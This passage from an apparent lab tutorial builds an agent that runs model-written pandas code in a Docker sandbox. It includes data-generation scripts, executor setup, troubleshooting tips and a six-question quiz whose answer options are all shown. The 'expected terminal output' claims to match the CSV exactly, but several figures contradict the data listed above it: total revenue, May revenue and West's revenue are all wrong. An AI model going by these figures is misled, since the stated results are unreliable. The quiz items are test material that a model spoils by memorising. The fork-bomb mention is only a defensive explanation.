    ["2024-05-10", "South", "Widget C",  40, 1400.00],
    ["2024-05-17", "East",  "Widget A", 115, 2300.00],
    ["2024-05-24", "West",  "Widget C",  60, 2100.00],
]

out = pathlib.Path("sample_sales.csv")
with out.open("w", newline="") as f:
    writer = csv.writer(f)
    writer.writerows(ROWS)

print(f"Written {len(ROWS)-1} rows to {out.resolve()}")
// save_csv.ts — run once with: npx ts-node save_csv.ts
import { writeFileSync } from "fs";

const rows = [
  "date,region,product,units,revenue",
  "2024-01-05,North,Widget A,120,2400.00",
  "2024-01-12,South,Widget B,85,2125.00",
  "2024-01-19,East,Widget A,60,1200.00",
  "2024-01-26,West,Widget C,95,3325.00",
  "2024-02-02,North,Widget B,70,1750.00",
  "2024-02-09,South,Widget A,110,2200.00",
  "2024-02-16,East,Widget C,45,1575.00",
  "2024-02-23,West,Widget B,90,2250.00",
  "2024-03-01,North,Widget C,55,1925.00",
  "2024-03-08,South,Widget A,80,1600.00",
  "2024-03-15,East,Widget B,100,2500.00",
  "2024-03-22,West,Widget A,75,1500.00",
  "2024-04-05,North,Widget A,95,1900.00",
  "2024-04-12,South,Widget C,65,2275.00",
  "2024-04-19,East,Widget A,88,1760.00",
  "2024-04-26,West,Widget B,72,1800.00",
  "2024-05-03,North,Widget B,50,1250.00",
  "2024-05-10,South,Widget C,40,1400.00",
  "2024-05-17,East,Widget A,115,2300.00",
  "2024-05-24,West,Widget C,60,2100.00",
].join("\n");

writeFileSync("sample_sales.csv", rows, "utf-8");
console.log("Written 20 rows to sample_sales.csv");
2
Build the DockerExecutor image

The DockerExecutor.__init__ calls _pre_build_image() automatically. On first run it will pull python:3.12-alpine and pip-install pandas numpy. This takes ~30 s once; subsequent runs are instant.

from docker_executor import DockerExecutor, SecurityPolicy

policy = SecurityPolicy(
    docker_image="python:3.12-alpine",
    allowed_packages=["pandas", "numpy"],
    timeout_seconds=30,
    network_disabled=True,
)
executor = DockerExecutor(policy=policy)
print("Image ready.")
import { DockerExecutor } from "./docker_executor";

const executor = new DockerExecutor({
  dockerImage: "python:3.12-alpine",
  allowedPackages: ["pandas", "numpy"],
  timeoutSeconds: 30,
  networkDisabled: true,
});
console.log("Image ready.");
3
Run the data analysis agent
import pathlib

csv_path = str(pathlib.Path("sample_sales.csv").resolve())

agent = CodeExecutionAgent(
    executor=DockerExecutor(policy=policy),
    model="mistral-nemo",
    max_retries=3,
)

# The model will write pandas code, copy the CSV into the Docker
# workspace via the mounted /tmp/sandbox dir, run the analysis,
# and return the formatted stats.
answer = agent.run(
    f"Analyze the sales data at {csv_path}. "
    "Report: total revenue, best-selling product by units, "
    "top region by revenue, and monthly revenue trend. "
    "Use pandas. Print each stat on its own line."
)

print("\n=== Agent Answer ===")
print(answer)
import { resolve } from "path";

const csvPath = resolve("sample_sales.csv");

const agent = new CodeExecutionAgent({
  executor: new DockerExecutor({
    dockerImage: "python:3.12-alpine",
    allowedPackages: ["pandas", "numpy"],
    timeoutSeconds: 30,
  }),
  model: "mistral-nemo",
  maxRetries: 3,
});

const answer = await agent.run(
  `Analyze the sales data at ${csvPath}. ` +
  "Report: total revenue, best-selling product by units, " +
  "top region by revenue, and monthly revenue trend. " +
  "Use pandas. Print each stat on its own line."
);

console.log("\n=== Agent Answer ===");
console.log(answer);
4
Verify the output

Expected output (values will match the CSV exactly — no hallucination):

Expected terminal output
Total revenue: $37,960.00 Best-selling product by units: Widget A (743 units) Top region by revenue: West ($12,975.00) Monthly revenue trend: Jan 2024: $9,050.00 Feb 2024: $7,775.00 Mar 2024: $7,525.00 Apr 2024: $7,735.00 May 2024: $5,875.00
Common Errors & Fixes
  • "Docker not found" — Docker Desktop is not running. Start it and wait for the tray icon to show "Running".
  • "ModuleNotFoundError: pandas" — The image didn't build with pandas. Re-run DockerExecutor(policy=policy) which calls _pre_build_image() again.
  • "FileNotFoundError: sample_sales.csv" — The CSV path inside the container doesn't exist. The DockerExecutor mounts the host temp dir; make sure you pass the absolute host path so the agent writes the CSV to the shared /workspace first.
  • Model doesn't use the tool — Try tool_choice="required" in the API call for the first turn, or add "you MUST use execute_python" to the system prompt.
Lab Complete

If you see the expected output, your agent wrote real pandas code, ran it inside Docker, read the real numbers from the CSV, and returned them — zero hallucination. Swap DockerExecutor back to SubprocessExecutor for faster local iteration; switch to DockerExecutor before deploying or handling any untrusted input.

Knowledge Check

1. Why do language models produce wrong answers for arithmetic tasks like 3.7 ** 12, even when they've been trained on billions of math problems?

A
They haven't seen enough math during training.
B
They always refuse to answer math questions.
C
They predict statistically likely token sequences and can lose precision across multi-step computation — they're not executing an interpreter.
D
The context window is too short to hold intermediate results.

2. Which Docker flag is most important for preventing a sandboxed script from sending data to an external server?

A
--memory=128m
B
--network=none
C
--read-only
D
--rm

3. In the self-debugging loop, when the executor returns exit_code=1, what is the correct next step?

A
Immediately return an error to the user.
B
Restart the entire conversation from the system prompt.
C
Append the tool result (with stderr) to the message history and call the model again so it can read the error and fix the code.
D
Re-run the same code a second time without showing the model the error.

4. A fork bombCode that recursively spawns child processes in an exponential pattern, quickly exhausting the OS process table and hanging the host machine. Example in Python: os.fork() called inside a loop. running inside a Docker container with --memory=128m and no PID limit will:

A
Be stopped immediately by the memory limit.
B
Still be able to exhaust the host PID table, because --memory limits RAM but not process count. Add --pids-limit=64 to protect against fork bombs.
C
Be blocked by --network=none because fork bombs require network I/O.
D
Never happen because Mistral's code generation always avoids fork patterns.

5. Why must the assistant message (containing tool_calls) be appended to messages before the tool result messages?

A
It is a performance optimization — the model loads tool calls first.
B
The OpenAI-compatible protocol requires each tool result to reference a tool_call_id from a preceding assistant message. If the assistant message is missing, the API returns a 400 error.
C
The model can only see the most recent message, so order doesn't matter.
D
Tool result messages automatically come before assistant messages in Ollama's internal buffer.

6. You're building an agent for end-users who can type arbitrary prompts. Which executor should you use, and why?

A
SubprocessExecutor — it's faster and users are generally trusted.
B
SubprocessExecutor with shell=True for compatibility.
C
DockerExecutor — untrusted input can craft prompts that make the model generate malicious code. Docker's OS-level isolation, network isolation, and ephemeral filesystem prevent damage even if the code is hostile.
D
E2B only — there is no other safe option.
0/6

Summary

  • Language models hallucinate math and data transformations; a code executor tool eliminates this by delegating computation to a real interpreter.
  • SubprocessExecutor is fast and simple but shares the host filesystem — use it only for trusted/dev code.
  • DockerExecutor provides OS-level isolation via --network=none, --read-only, --memory, and ephemeral containers — use it in production and for any user-facing agent.
  • The SecurityPolicy dataclass centralizes all limits; swap policies (dev vs. prod) without touching executor logic.
  • The self-debugging loop appends stderr back to the message history on failure, letting the model read and fix its own errors autonomously — with a hard retry cap of 3.
  • Message ordering matters: the assistant message with tool_calls must precede the tool result messages in the OpenAI-compatible API.
  • E2B is a zero-infrastructure alternative: managed cloud sandbox, free tier, any OS.